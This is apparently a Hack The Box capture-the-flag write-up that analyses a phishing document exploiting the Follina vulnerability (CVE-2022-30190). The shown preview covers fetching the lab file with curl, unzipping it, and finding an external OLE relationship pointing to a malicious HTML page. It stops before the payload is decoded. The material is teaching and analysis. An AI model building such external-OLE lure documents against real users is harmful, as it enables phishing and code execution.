$ cat writeup.md…
$ cat writeup.md…
hackthebox
Task: Analyze a malicious Office document from a phishing campaign to extract the hidden flag. Solution: Unzip the DOCX to find an external OLE object referencing an HTML file that exploits CVE-2022-30190 (Follina) via ms-msdt:/ protocol, decode the base64 PowerShell payload, and deobfuscate format string reordering to reveal the flag embedded in the malware filename.
$ cat /etc/rate-limit
Rate limit reached (20 reads/hour per IP). Showing preview only — full content returns at the next hour roll-over.
Our SOC has identified numerous phishing emails coming in claiming to have a document about an upcoming round of layoffs in the company. The emails all contain a link to diagnostic.htb/layoffs.doc. The DNS for that domain has since stopped resolving, but the server is still hosting the malicious document. Take a look and figure out what's going on.
This challenge involves analyzing a malicious Office document that exploits CVE-2022-30190 (Follina vulnerability). The attack chain:
.doc filems-msdt:/ protocol handler to execute PowerShellSince DNS no longer resolves, use Host header to access the server directly:
curl -H "Host: diagnostic.htb" http://94.237.59.242:45434/layoffs.doc -o layoffs.doc
file layoffs.doc # Output: Zip archive data, at least v2.0 to extract
The .doc extension is misleading - this is actually a DOCX file (Office Open XML format, which is a ZIP archive).
unzip layoffs.doc -d extracted/
Directory structure:
extracted/
├── [Content_Types].xml
├── _rels/
├── docProps/
└── word/
├── document.xml
├── _rels/
│ └── document.xml.rels
└── ...
In word/document.xml, found an OLEObject with suspicious attributes:
Type="Link" - External referenceProgID="htmlfile" - Will be handled by HTML handlerrId996In word/_rels/document.xml.rels:
<Relationship Id="rId996" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="http://diagnostic.htb/223_index_style_fancy.html!" TargetMode="External"/>
Key indicator: External OLE object pointing to HTML file - classic Follina setup.
...
$ grep --similar